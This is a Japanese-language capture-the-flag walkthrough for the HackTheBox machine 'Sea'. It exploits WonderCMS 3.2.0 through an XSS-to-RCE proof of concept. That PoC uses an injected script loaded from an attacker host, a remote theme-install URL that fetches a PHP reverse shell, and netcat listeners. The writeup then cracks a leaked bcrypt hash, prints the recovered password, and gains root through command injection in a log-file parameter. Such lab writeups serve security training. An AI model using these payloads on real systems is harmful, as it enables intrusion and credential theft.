概要
HackTheBox「Sea」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.28 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 8.2p1 |
| 80 | http | Apache httpd 2.4.41 |
ドメインを追加します。
10.10.11.28 sea.htb
80番ポートにアクセスしWebサイトを閲覧出来ました。
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.11.28
[18:34:28] 200 - 1KB - /404
[18:35:07] 200 - 939B - /contact.php
[18:35:09] 301 - 232B - /data -> http://10.10.11.28/data/
[18:35:36] 301 - 236B - /messages -> http://10.10.11.28/messages/
[18:35:49] 301 - 235B - /plugins -> http://10.10.11.28/plugins/
[18:36:08] 301 - 234B - /themes -> http://10.10.11.28/themes/
さらに列挙を進めていくと、/themes配下にbike,whateverパスを発見しました。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.28/themes/FUZZ -recursion -recursion-depth 1 -ic -c -e php -fc 403
home [Status: 200, Size: 3670, Words: 582, Lines: 87, Duration: 256ms]
404 [Status: 200, Size: 3361, Words: 530, Lines: 85, Duration: 255ms]
bike [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 253ms]
whatever [Status: 301, Size: 243, Words: 14, Lines: 8, Duration: 253ms]
[INFO] Starting queued job on target: http://10.10.11.28/themes/bike/FUZZ
version [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 256ms]
summary [Status: 200, Size: 66, Words: 9, Lines: 2, Duration: 256ms]
LICENSE [Status: 200, Size: 1067, Words: 152, Lines: 22, Duration: 258ms]
さらに/themes/bike配下を列挙します。
$ dirsearch -u http://10.10.11.28/themes/bike/
[22:11:56] 200 - 1KB - /themes/bike/404
[22:12:05] 200 - 1KB - /themes/bike/admin/home
[22:12:36] 301 - 243B - /themes/bike/css -> http://10.10.11.28/themes/bike/css/
[22:12:50] 200 - 1KB - /themes/bike/home
[22:12:52] 301 - 243B - /themes/bike/img -> http://10.10.11.28/themes/bike/img/
[22:12:57] 200 - 1KB - /themes/bike/LICENSE
[22:13:19] 200 - 318B - /themes/bike/README.md
[22:13:26] 200 - 1KB - /themes/bike/sitecore/content/home
[22:13:31] 200 - 1KB - /themes/bike/sym/root/home/
[22:13:39] 200 - 6B - /themes/bike/version
README.mdからWonder CMSが使用されていると分かりました。
# WonderCMS bike theme
## Description
Includes animations.
## Author: turboblack
## Preview

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.
/themes/bike/versionからバージョンが3.2.0だと分かりました。
エクスプロイトを検索するとCVE-2023-41425が見つかりました。
XSSからRCEが出来そうです。
PoCは下記リポジトリを使用します。
攻撃に使用するZIPファイルを用意します。
中にはリバースシェル用のPHPファイルが含まれています。
$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
PoCを一部編集します。
var urlWithoutLogBase = "http://sea.htb";
(省略)
var urlRev = urlWithoutLogBase+"/?installModule=http://<ATTACKER_IP>:8000/main.zip&directoryName=violet&type=themes&token=" + token;
Netcatでリッスンします。
$ nc -lnvp 4444
listening on [any] 4444 ...
PoCを実行します。
$ python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.14.5 4444
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 4444
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/index.php?page=LoginURL"></form><script+src="http://10.10.14.5:8000/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
XSSのペイロードが発行されるのでcontact.phpのWebsite:項目から送信します。
待っているとターゲットマシンがxss.jsを取得し実行され、main.zipを取得していることが確認できました。
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [22/Dec/2024 00:46:15] "GET /xss.js HTTP/1.1" 200 -
10.10.11.28 - - [22/Dec/2024 00:46:24] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [22/Dec/2024 00:46:25] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [22/Dec/2024 00:46:25] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [22/Dec/2024 00:46:26] "GET /main.zip HTTP/1.1" 200 -
Netcatでリバースシェルを張れました。
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 53734
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
05:46:27 up 3:20, 0 users, load average: 1.39, 1.27, 1.22
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/homeにはamay,geoのアカウントがあります。
$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jul 30 12:58 .
drwxr-xr-x 19 root root 4096 Feb 21 2024 ..
drwxr-xr-x 4 amay amay 4096 Aug 1 12:22 amay
drwxr-x--- 4 geo geo 4096 Aug 1 12:13 geo
/var/www/sea/data/database.jsを確認するとパスワードのハッシュ値を得られました。
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
ハッシュ値を解析しパスワードを特定できました。
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
mychemicalromance (?)
得られたパスワードでamayアカウントへ昇格出来ました。
$ su amay
su amay
Password: mychemicalromance
amay@sea:/var/www/sea/data$ whoami
whoami
amay
/home/amay/user.txtからユーザーフラグを入手できました。
0087137bb475441d1816c35928699557
Root Flag
linpeasを実行します。
$ ./linpeas.sh
実行結果からローカルの8080ポートが動作していると分かりました。
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42009 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
SSHポートフォワーディングを設定し接続します。
$ ssh -L 8085:127.0.0.1:8080 amay@sea.htb
127.0.0.1:8085にアクセスするとBasic認証が要求されました。
既に得ているUsername: amay,Password: mychemicalromanceでログイン出来ました。
Analyze Log FileのAnalyzeボタンをクリックするとログファイルの内容が表示されました。
log_fileパラメータでファイルパスを渡しています。
受け取ったパスをcatコマンドなどで読み込んで表示していそうです。
試しに/root/root.txtファイルを指定すると、No suspicious traffic patterns detected in /root/root.txt.と返されました。
catコマンドなどが実行されていると予測するとOSコマンドインジェクションが出来そうです。
試しに;で区切ってsleepコマンドを実行すると、sleepコマンドが動作していると確認できました。
リバースシェルのコードを付けてリクエストを送信するとrootで接続が出来ました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 57320
root@sea:~/monitoring#
/root/root.txtからルートフラグを入手できました。
af5dca09b5caca3267cbabb061600fe3









